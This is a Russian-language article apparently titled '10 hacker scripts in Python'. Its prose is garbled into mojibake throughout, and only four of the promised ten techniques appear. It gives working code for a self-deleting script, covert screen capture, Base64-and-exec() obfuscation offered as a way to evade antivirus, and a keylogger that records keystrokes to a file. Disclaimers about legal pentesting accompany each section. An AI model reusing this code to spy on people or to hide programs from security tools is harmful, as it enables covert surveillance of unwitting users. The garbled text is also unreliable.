π΅οΈββοΈπ 10 Ρ Π°ΠΊΠ΅ΡΡΠΊΠΈΡ ΡΠΊΡΠΈΠΏΡΠΎΠ² Π½Π° Python
Π₯ΠΎΡΠ΅ΡΡ ΡΠ·Π½Π°ΡΡ, ΠΊΠ°ΠΊ Python-ΡΠΊΡΠΈΠΏΡ ΠΌΠΎΠΆΠ΅Ρ ΠΌΡΡΠΈΡΠΎΠ²Π°ΡΡ Π½Π° Ρ ΠΎΠ΄Ρ, Π·Π°ΠΏΠΈΡΡΠ²Π°ΡΡ Π½Π°ΠΆΠ°ΡΠΈΡ ΠΊΠ»Π°Π²ΠΈΡ, Π½Π΅Π·Π°ΠΌΠ΅ΡΠ½ΠΎ Π΄Π΅Π»Π°ΡΡ ΡΠΊΡΠΈΠ½ΡΠΎΡΡ, ΠΎΠ±Ρ ΠΎΠ΄ΠΈΡΡ ΡΠΈΡΡΠ΅ΠΌΡ ΠΌΠΎΠ½ΠΈΡΠΎΡΠΈΠ½Π³Π° ΠΈ ΠΈΡΠΏΠΎΠ»Π½ΡΡΡΡΡ ΠΏΡΡΠΌΠΎ ΠΈΠ· ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΎΠΉ ΠΏΠ°ΠΌΡΡΠΈ? ΠΠΎΠ±ΡΠΎ ΠΏΠΎΠΆΠ°Π»ΠΎΠ²Π°ΡΡ Π² ΠΏΠΎΠ΄ΠΏΠΎΠ»ΡΠ½ΡΠΉ ΠΌΠΈΡ Ρ Π°ΠΊΠ΅ΡΡΠΊΠΈΡ ΠΌΠ΅ΡΠΎΠ΄ΠΈΠΊ, Π³Π΄Π΅ ΠΊΡΠ΅Π°ΡΠΈΠ²Π½ΠΎΡΡΡ Π½Π΅ Π·Π½Π°Π΅Ρ Π³ΡΠ°Π½ΠΈΡ (ΠΊΡΠΎΠΌΠ΅ Π·Π°ΠΊΠΎΠ½ΠΎΠ΄Π°ΡΠ΅Π»ΡΠ½ΡΡ )!

Π ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠ΅ ΠΌΡ ΡΠ°ΡΡΠΌΠΎΡΡΠΈΠΌ Π½Π°Π±ΠΎΡ ΠΏΡΠΎΠ΄Π²ΠΈΠ½ΡΡΡΡ ΡΠ΅Ρ Π½ΠΈΠΊ, Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΊΠΎΡΠΎΡΡΡ ΠΌΠΎΠΆΠ½ΠΎ:
- Π£Π½ΠΈΡΡΠΎΠΆΠ°ΡΡ ΠΈΡΡ ΠΎΠ΄Π½ΡΠΉ ΠΊΠΎΠ΄ ΠΏΠΎΡΠ»Π΅ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ.
- Π‘ΠΊΡΡΡΠ½ΠΎ ΡΠΎΠ±ΠΈΡΠ°ΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ.
- ΠΠ±Ρ ΠΎΠ΄ΠΈΡΡ Π°Π½ΡΠΈΠ²ΠΈΡΡΡΡ ΠΈ ΡΠΈΡΡΠ΅ΠΌΡ ΠΌΠΎΠ½ΠΈΡΠΎΡΠΈΠ½Π³Π°.
- ΠΠ°ΠΏΡΡΠΊΠ°ΡΡ ΠΊΠΎΠ΄ Π±Π΅Π· ΡΠ»Π΅Π΄ΠΎΠ² Π² ΡΠ°ΠΉΠ»ΠΎΠ²ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΠ΅.
- Π Π΄Π°ΠΆΠ΅ Π·Π°ΡΠΈΡΠ°ΡΡΡΡ ΠΎΡ ΡΠ΅Π²Π΅ΡΡ-ΠΈΠ½ΠΆΠΈΠ½ΠΈΡΠΈΠ½Π³Π°.
ΠΠ°ΠΆΠ΄ΡΠΉ ΠΈΠ· ΡΡΠΈΡ ΡΠΊΡΠΈΠΏΡΠΎΠ² ΠΈΠΌΠ΅Π΅Ρ ΠΊΠ°ΠΊ ΡΡΠΈΡΠ½ΡΠ΅, ΡΠ°ΠΊ ΠΈ ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»ΡΠ½ΠΎ ΠΎΠΏΠ°ΡΠ½ΡΠ΅ ΠΏΡΠΈΠΌΠ΅Π½Π΅Π½ΠΈΡ, ΠΏΠΎΡΡΠΎΠΌΡ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ΄ΡΠ΅ΡΠΊΠ½ΡΡΡ: Π²ΡΠ΅ ΠΎΠΏΠΈΡΠ°Π½Π½ΡΠ΅ ΠΌΠ΅ΡΠΎΠ΄Ρ Π΄ΠΎΠ»ΠΆΠ½Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ ΠΈΡΠΊΠ»ΡΡΠΈΡΠ΅Π»ΡΠ½ΠΎ Π² Π»Π΅Π³Π°Π»ΡΠ½ΡΡ ΡΠ΅Π»ΡΡ , Ρ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ΠΌ ΡΡΠΈΡΠ΅ΡΠΊΠΈΡ Π½ΠΎΡΠΌ ΠΈ ΡΡΠΈΠ΄ΠΈΡΠ΅ΡΠΊΠΈΡ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈΠΉ.
Π‘Π°ΠΌΠΎΡΠ½ΠΈΡΡΠΎΠΆΠ°ΡΡΠΈΠ΅ΡΡ Python-ΡΠΊΡΠΈΠΏΡΡ
Π’Π°ΠΊΠΈΠ΅ ΡΠΊΡΠΈΠΏΡΡ ΠΏΠΎΠ»Π΅Π·Π½Ρ Π² ΡΠ»ΡΡΠ°ΡΡ , ΠΊΠΎΠ³Π΄Π° Π½Π΅Π»ΡΠ·Ρ ΠΎΡΡΠ°Π²Π»ΡΡΡ ΠΈΡΡ ΠΎΠ΄Π½ΡΠΉ ΠΊΠΎΠ΄ ΠΏΠΎΡΠ»Π΅ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ, β Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π² Π·Π°Π΄Π°ΡΠ°Ρ , ΡΠ²ΡΠ·Π°Π½Π½ΡΡ Ρ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΡΡ, ΠΊΠΎΠ½ΡΠΈΠ΄Π΅Π½ΡΠΈΠ°Π»ΡΠ½ΠΎΡΡΡΡ ΠΈΠ»ΠΈ ΠΏΠ΅Π½ΡΠ΅ΡΡΠΈΠ½Π³ΠΎΠΌ.
π§ ΠΠ°ΠΊ ΡΠ°Π±ΠΎΡΠ°ΡΡ ΡΠ°ΠΌΠΎΡΠ½ΠΈΡΡΠΎΠΆΠ°ΡΡΠΈΠ΅ΡΡ ΡΠΊΡΠΈΠΏΡΡ:
- ΠΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°. Π‘ΠΊΡΠΈΠΏΡ Π½Π°Ρ
ΠΎΠ΄ΠΈΡ ΠΏΡΡΡ ΠΊ ΡΠ²ΠΎΠ΅ΠΌΡ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΠΎΠΌΡ ΡΠ°ΠΉΠ»Ρ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ
__file__
ΠΈΠ»ΠΈsys.argv[0]
. - Π‘Π°ΠΌΠΎΡΠ΄Π°Π»Π΅Π½ΠΈΠ΅. ΠΠΎΡΠ»Π΅ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΎΡΠ½ΠΎΠ²Π½ΠΎΠΉ Π·Π°Π΄Π°ΡΠΈ ΡΠΊΡΠΈΠΏΡ Π²ΡΠ·ΡΠ²Π°Π΅Ρ ΡΡΠ½ΠΊΡΠΈΡ
os.remove()
, ΡΡΠΎΠ±Ρ ΡΠ΄Π°Π»ΠΈΡΡ ΡΠ΅Π±Ρ Ρ Π΄ΠΈΡΠΊΠ°.
import os import sys def main(): print("ΠΡΠΎΡ ΡΠΊΡΠΈΠΏΡ ΡΠ°ΠΌΠΎΡΠ½ΠΈΡΡΠΎΠΆΠΈΡΡΡ ΠΏΠΎΡΠ»Π΅ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ.") # ΠΠ΄Π΅ΡΡ ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ ΠΎΡΠ½ΠΎΠ²Π½ΠΎΠΉ ΠΊΠΎΠ΄... # Π‘Π°ΠΌΠΎΡΠ½ΠΈΡΡΠΎΠΆΠ΅Π½ΠΈΠ΅: ΡΠ΄Π°Π»ΠΈΡΡ ΡΠ΅ΠΊΡΡΠΈΠΉ ΡΠ°ΠΉΠ» try: os.remove(__file__) print("Π‘Π°ΠΌΠΎΡΠ½ΠΈΡΡΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡΠΎΡΠ»ΠΎ ΡΡΠΏΠ΅ΡΠ½ΠΎ. ΠΠΎΠΊΠ°!") except Exception as e: print("ΠΡΠΈΠ±ΠΊΠ° ΠΏΡΠΈ ΡΠ°ΠΌΠΎΡΠ½ΠΈΡΡΠΎΠΆΠ΅Π½ΠΈΠΈ:", e) if __name__ == '__main__': main()
β οΈΠΠΎΡΠ»Π΅ ΡΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΡΠΊΡΠΈΠΏΡ ΡΠ΄Π°Π»ΠΈΡ ΡΠ΅Π±Ρ, Π΅Π³ΠΎ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π±ΡΠ΄Π΅Ρ Π²ΠΎΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ Π±Π΅Π· ΡΠ΅Π·Π΅ΡΠ²Π½ΠΎΠΉ ΠΊΠΎΠΏΠΈΠΈ.
ΠΠ΅Π·Π°ΠΌΠ΅ΡΠ½ΡΠΉ Π·Π°Ρ Π²Π°Ρ ΡΠΊΡΠ°Π½Π°
ΠΠ»Ρ ΠΏΠ΅Π½ΡΠ΅ΡΡΠ΅ΡΠΎΠ² Π²Π°ΠΆΠ½ΠΎ Π΄Π΅ΠΉΡΡΠ²ΠΎΠ²Π°ΡΡ ΡΠΊΡΡΡΠ½ΠΎ. ΠΠ΄ΠΈΠ½ ΠΈΠ· ΡΠ°ΠΌΡΡ ΠΏΠΎΠ»Π΅Π·Π½ΡΡ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΎΠ² ΡΡΠΈΡΠ½ΠΎΠ³ΠΎ Ρ Π°ΠΊΠ΅ΡΠ° β ΡΡΠΎ Π½Π΅Π·Π°ΠΌΠ΅ΡΠ½Π°Ρ ΡΡΠ΅ΠΌΠΊΠ° ΡΠΊΡΠ°Π½Π°, ΠΊΠΎΡΠΎΡΠ°Ρ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π΄ΠΎΠΊΠ°Π·Π°ΡΠ΅Π»ΡΡΡΠ²Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠ΅ΠΉ, Π½Π΅ ΠΏΡΠΈΠ²Π»Π΅ΠΊΠ°Ρ Π²Π½ΠΈΠΌΠ°Π½ΠΈΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ.
π§ ΠΠ°ΠΊ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ Π½Π΅Π·Π°ΠΌΠ΅ΡΠ½ΡΠΉ Π·Π°Ρ Π²Π°Ρ ΡΠΊΡΠ°Π½Π°:
- Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ ΡΠΊΡΠΈΠ½ΡΠΎΡΠ°. Π‘ ΠΏΠΎΠΌΠΎΡΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊ pyautogui ΠΈ PIL (Pillow) ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°ΡΡ ΡΠ½ΠΈΠΌΠΎΠΊ Π²ΡΠ΅Π³ΠΎ ΡΠΊΡΠ°Π½Π°.
- Π‘ΡΠ΅ΠΌΠΊΠ° ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΎΠ±Π»Π°ΡΡΠΈ. ΠΠΎΠΆΠ½ΠΎ ΡΠΊΠ°Π·Π°ΡΡ ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ½ΡΠΉ ΡΠ΅Π³ΠΈΠΎΠ½ ΡΠΊΡΠ°Π½Π° (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΎΠΊΠ½ΠΎ ΠΈΠ»ΠΈ ΡΠ°ΡΡΡ ΡΠΊΡΠ°Π½Π°), ΠΊΠΎΡΠΎΡΡΠΉ Π½ΡΠΆΠ½ΠΎ Π·Π°ΡΠΈΠΊΡΠΈΡΠΎΠ²Π°ΡΡ.
- Π‘ΠΏΠΎΡΠΎΠ±Ρ ΡΠΊΡΡΡΠΈΡ Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡΠΈ. Π§ΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π½Π΅ Π·Π°ΠΌΠ΅ΡΠΈΠ» ΠΏΡΠΎΡΠ΅ΡΡ ΡΡΠ΅ΠΌΠΊΠΈ, ΠΏΡΠΈΠΌΠ΅Π½ΡΡΡΡΡ Π·Π°Π΄Π΅ΡΠΆΠΊΠΈ ΠΈ ΠΌΠ°ΡΠΊΠΈΡΠΎΠ²ΠΊΠ° ΡΠ°Π±ΠΎΡΡ ΡΠΊΡΠΈΠΏΡΠ°.
import pyautogui import cv2 import numpy as np def capture_screen(region=None): # Π‘Π΄Π΅Π»Π°ΡΡ ΡΠΊΡΠΈΠ½ΡΠΎΡ (Π΅ΡΠ»ΠΈ region Π½Π΅ ΡΠΊΠ°Π·Π°Π½ β Π±ΡΠ΄Π΅Ρ Π²Π΅ΡΡ ΡΠΊΡΠ°Π½) screenshot = pyautogui.screenshot(region=region) # ΠΠ΅ΡΠ΅Π²Π΅ΡΡΠΈ ΡΠΊΡΠΈΠ½ΡΠΎΡ Π² ΠΌΠ°ΡΡΠΈΠ² numpy frame = np.array(screenshot) # ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ· RGB (PIL) Π² BGR (OpenCV) frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR) return frame if __name__ == '__main__': # ΠΠ°Ρ Π²Π°ΡΠΈΡΡ ΠΎΠ±Π»Π°ΡΡΡ 300x400 ΠΏΠΈΠΊΡΠ΅Π»Π΅ΠΉ ΠΈΠ· Π²Π΅ΡΡ Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΡΠ³Π»Π° frame = capture_screen(region=(0, 0, 300, 400)) cv2.imshow("Stealth Capture", frame) cv2.waitKey(3000) # ΠΠΎΠΊΠ°Π·Π°ΡΡ ΠΎΠΊΠ½ΠΎ Π½Π° 3 ΡΠ΅ΠΊΡΠ½Π΄Ρ cv2.destroyAllWindows()
β οΈΠΠΎΠ΄ΡΠ΅ΡΠΊΠ½Π΅ΠΌ, ΡΡΠΎ ΡΠ°ΠΊΠΎΠΉ Π·Π°Ρ Π²Π°Ρ ΡΠΊΡΠ°Π½Π° Π½Π΅ ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π²ΠΎ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΡ ΡΠ΅Π»ΡΡ β ΠΎΠ½ ΠΏΠΎΠ»Π΅Π·Π΅Π½ Π² Π·Π°ΠΊΠΎΠ½Π½ΠΎΠΌ ΠΏΠ΅Π½ΡΠ΅ΡΡΠΈΠ½Π³Π΅, ΠΊΠΎΠ³Π΄Π° Π½ΡΠΆΠ½ΠΎ Π·Π°ΡΠΈΠΊΡΠΈΡΠΎΠ²Π°ΡΡ, ΠΊΠ°ΠΊ Π²ΡΠ³Π»ΡΠ΄ΠΈΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ. Π ΡΡΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ ΡΡΠΎΠΈΡ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΠΎΡΠΈΡΠΈΠ°Π»ΡΠ½ΠΎΠ΅ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ Π½Π° ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ Π·Π°Ρ Π²Π°ΡΠ° ΡΠΊΡΠ°Π½Π° β ΠΈΠ½Π°ΡΠ΅ Π²Π»Π°Π΄Π΅Π»ΡΡΡ ΡΠ΅ΡΡΡΡΠ° ΠΌΠΎΠ³ΡΡ ΠΏΠΎΡΡΠΈΡΠ°ΡΡ ΡΡΠΎ Π½Π°ΡΡΡΠ΅Π½ΠΈΠ΅ΠΌ Π·Π°ΠΊΠΎΠ½Π°.
π ΠΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½Π°Ρ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ:
- Π ΡΠΊΠΎΠ²ΠΎΠ΄ΡΡΠ²ΠΎ ΠΏΠΎ Π·Π°Ρ Π²Π°ΡΡ ΡΠΊΡΠ°Π½Π° Π½Π° ThePythonCode.com
- ΠΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΠΈΡ PyAutoGUI
Π£ΠΊΠ»ΠΎΠ½Π΅Π½ΠΈΠ΅ ΠΎΡ Π°Π½ΡΠΈΠ²ΠΈΡΡΡΠΎΠ² Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΎΠ±ΡΡΡΠΊΠ°ΡΠΈΠΈ
ΠΠ½ΡΠΈΠ²ΠΈΡΡΡΠ½ΡΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ ΡΠ°ΡΡΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡ ΡΠΈΠ³Π½Π°ΡΡΡΠ½ΡΠΉ Π°Π½Π°Π»ΠΈΠ·, ΡΠΎ Π΅ΡΡΡ ΠΈΡΡΡ Ρ Π°ΡΠ°ΠΊΡΠ΅ΡΠ½ΡΠ΅ ΡΠ°Π±Π»ΠΎΠ½Ρ ΠΊΠΎΠ΄Π°, ΡΡΠΎΠ±Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»ΠΈΡΡ ΡΠ³ΡΠΎΠ·Ρ. ΠΡΠ»ΠΈ ΠΊΠΎΠ΄ ΠΏΡΠ΅Π΄ΡΠΊΠ°Π·ΡΠ΅ΠΌ, Π΅Π³ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΎΠ±Π½Π°ΡΡΠΆΠΈΡΡ. ΠΠ±ΡΡΡΠΊΠ°ΡΠΈΡ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ ΡΠΊΡΡΡΡ ΡΡΠΈ ΡΠ°Π±Π»ΠΎΠ½Ρ, Π° ΡΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΎΠ±ΠΎΠΉΡΠΈ ΠΏΡΠΎΡΡΡΠ΅ Π°Π½ΡΠΈΠ²ΠΈΡΡΡΠ½ΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ.
π§ ΠΡΠ½ΠΎΠ²Π½ΡΠ΅ ΡΠ΅Ρ Π½ΠΈΠΊΠΈ ΠΎΠ±ΡΡΡΠΊΠ°ΡΠΈΠΈ:
- ΠΠΎΠ΄ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΡΡΡΠΎΠΊ. ΠΠΌΠ΅ΡΡΠΎ ΡΠΎΠ³ΠΎ ΡΡΠΎΠ±Ρ Ρ ΡΠ°Π½ΠΈΡΡ ΡΡΡΠΎΠΊΠΈ Π² ΠΎΡΠΊΡΡΡΠΎΠΌ Π²ΠΈΠ΄Π΅, ΠΈΡ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΊΠΎΠ΄ΠΈΡΠΎΠ²Π°ΡΡ Ρ ΠΏΠΎΠΌΠΎΡΡΡ Base64, ROT13, ΠΈΠ»ΠΈ ΡΠ²ΠΎΠ΅Π³ΠΎ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΠΎΠ³ΠΎ ΠΌΠ΅ΡΠΎΠ΄Π°.
- ΠΠ΅Π½Π΅ΡΠ°ΡΠΈΡ ΠΊΠΎΠ΄Π° Π²ΠΎ Π²ΡΠ΅ΠΌΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ. ΠΠΌΠ΅ΡΡΠΎ ΡΠΎΠ³ΠΎ, ΡΡΠΎΠ±Ρ ΠΏΠΈΡΠ°ΡΡ Π²Π°ΠΆΠ½ΡΡ Π»ΠΎΠ³ΠΈΠΊΡ Π½Π°ΠΏΡΡΠΌΡΡ, Π΅Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΡ
ΡΠ°Π½ΠΈΡΡ Π² Π²ΠΈΠ΄Π΅ ΡΠ΅ΠΊΡΡΠ° ΠΈ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ Π² Π½ΡΠΆΠ½ΡΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΡΡΠ½ΠΊΡΠΈΠΈ
exec()
.
import base64 # Π‘Π΅ΠΊΡΠ΅ΡΠ½ΡΠΉ ΠΊΠΎΠ΄ ΠΊΠ°ΠΊ ΡΡΡΠΎΠΊΠ° secret_code = "print('ΠΡΠΈΠ²Π΅Ρ Ρ ΡΠ΅ΠΌΠ½ΠΎΠΉ ΡΡΠΎΡΠΎΠ½Ρ!')" # ΠΠ°ΠΊΠΎΠ΄ΠΈΡΠΎΠ²Π°ΡΡ ΠΊΠΎΠ΄ Π² Base64 encoded_code = base64.b64encode(secret_code.encode()).decode() # ΠΠ΅ΠΊΠΎΠ΄ΠΈΡΠΎΠ²Π°ΡΡ ΠΈ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ Π²ΠΎ Π²ΡΠ΅ΠΌΡ ΡΠ°Π±ΠΎΡΡ exec(base64.b64decode(encoded_code).decode())
β οΈ ΠΠ°ΠΆΠ½ΠΎ:
- ΠΠ±ΡΡΡΠΊΠ°ΡΠΈΡ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ ΠΎΠ±ΠΎΠΉΡΠΈ ΠΏΡΠΎΡΡΡΠ΅ Π°Π½ΡΠΈΠ²ΠΈΡΡΡΠ½ΡΠ΅ ΡΠΈΠ»ΡΡΡΡ, ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎ ΡΠ΅, ΡΡΠΎ ΠΎΡΠΈΠ΅Π½ΡΠΈΡΠΎΠ²Π°Π½Ρ Π½Π° ΡΠΈΠ³Π½Π°ΡΡΡΡ, Π½ΠΎ Π½Π΅ Π·Π°ΡΠΈΡΠ°Π΅Ρ ΠΎΡ ΠΏΡΠΎΠ΄Π²ΠΈΠ½ΡΡΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°.
- Π ΠΏΡΠΎΡΠ΅ΡΡΠΈΠΎΠ½Π°Π»ΡΠ½ΠΎΠΉ ΡΡΠ΅Π΄Π΅ ΠΏΠΎΠ΄ΠΎΠ±Π½ΡΠ΅ ΡΠ΅Ρ Π½ΠΈΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ Π² ΠΏΠ΅Π½ΡΠ΅ΡΡΠΈΠ½Π³Π΅ ΠΈ Π°Π½Π°Π»ΠΈΠ·Π΅ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΠΎΠ³ΠΎ ΠΠ.
π Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡΠ΅ΠΌΡΠ΅ ΠΌΠ°ΡΠ΅ΡΠΈΠ°Π»Ρ
- Π’Π΅Ρ Π½ΠΈΠΊΠΈ ΠΎΠ±ΡΡΡΠΊΠ°ΡΠΈΠΈ Π½Π° GitHub
- ΠΠΎΠ΄ΡΠΎΠ±Π½ΠΎΠ΅ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΡΡΠ²ΠΎ ΠΏΠΎ ΠΎΠ±ΡΡΡΠΊΠ°ΡΠΈΠΈ Python-ΠΊΠΎΠ΄Π°
Π‘ΠΊΡΡΡΡΠ΅ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅ΡΡ
ΠΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ β ΡΡΠΎ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ°, ΠΊΠΎΡΠΎΡΠ°Ρ ΠΎΡΡΠ»Π΅ΠΆΠΈΠ²Π°Π΅Ρ ΠΈ Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅Ρ Π½Π°ΠΆΠ°ΡΠΈΡ ΠΊΠ»Π°Π²ΠΈΡ. Π Π»Π΅Π³Π°Π»ΡΠ½ΡΡ ΡΠ΅Π»ΡΡ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅ΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ Π² ΠΏΠ΅Π½ΡΠ΅ΡΡΠΈΠ½Π³Π΅, β ΡΠ°Π·ΡΠΌΠ΅Π΅ΡΡΡ, ΡΠΎΠ»ΡΠΊΠΎ Ρ ΠΎΡΠΈΡΠΈΠ°Π»ΡΠ½ΠΎΠ³ΠΎ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΡ.
π§ ΠΠ°ΠΊ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ:
- ΠΡΡΠ»Π΅ΠΆΠΈΠ²Π°Π½ΠΈΠ΅ ΠΊΠ»Π°Π²ΠΈΡ. Π‘ ΠΏΠΎΠΌΠΎΡΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ keyboard ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡΠ»Π°Π²Π»ΠΈΠ²Π°ΡΡ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Π½Π°ΠΆΠ°ΡΠΈΠ΅ ΠΊΠ»Π°Π²ΠΈΡΠΈ Π² ΡΠΈΡΡΠ΅ΠΌΠ΅.
- Π‘ΠΎΡ ΡΠ°Π½Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ ΠΎΡΠΏΡΠ°Π²ΠΊΠ° Π΄Π°Π½Π½ΡΡ . ΠΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎ Π·Π°Ρ Π²Π°ΡΠ΅Π½Π½ΡΡ ΠΊΠ»Π°Π²ΠΈΡΠ°Ρ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΡ ΡΠ°Π½ΠΈΡΡ Π² ΡΠ΅ΠΊΡΡΠΎΠ²ΠΎΠΌ ΡΠ°ΠΉΠ»Π΅ ΠΈ/ΠΈΠ»ΠΈ ΠΎΡΠΏΡΠ°Π²ΠΈΡΡ ΠΏΠΎ ΡΠ΅ΡΠΈ.
import keyboard import time log_file = "keylog.txt" def on_key_event(event): with open(log_file, "a") as f: f.write(event.name + " ") if __name__ == '__main__': print("ΠΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ Π·Π°ΠΏΡΡΠ΅Π½. ΠΠ°ΠΆΠΌΠΈΡΠ΅ ESC Π΄Π»Ρ ΠΎΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ.") keyboard.on_press(on_key_event) keyboard.wait("esc")
β οΈ ΠΠ°ΠΆΠ½ΠΎ:
- ΠΡΠΈΡΠ΅ΡΠΊΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ β ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ. ΠΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π·Π°ΠΏΡΡΠΊΠ°ΠΉΡΠ΅ ΠΊΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅ΡΡ Π½Π° ΡΡΠΆΠΎΠΌ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ΅ Π±Π΅Π· ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΡ β ΡΡΠΎ Π½Π΅Π·Π°ΠΊΠΎΠ½Π½ΠΎ ΠΈ ΠΌΠΎΠΆΠ΅Ρ ΠΏΡΠΈΠ²Π΅ΡΡΠΈ ΠΊ ΡΠ΅ΡΡΠ΅Π·Π½ΡΠΌ ΠΏΠΎΡΠ»Π΅Π΄ΡΡΠ²ΠΈΡΠΌ.
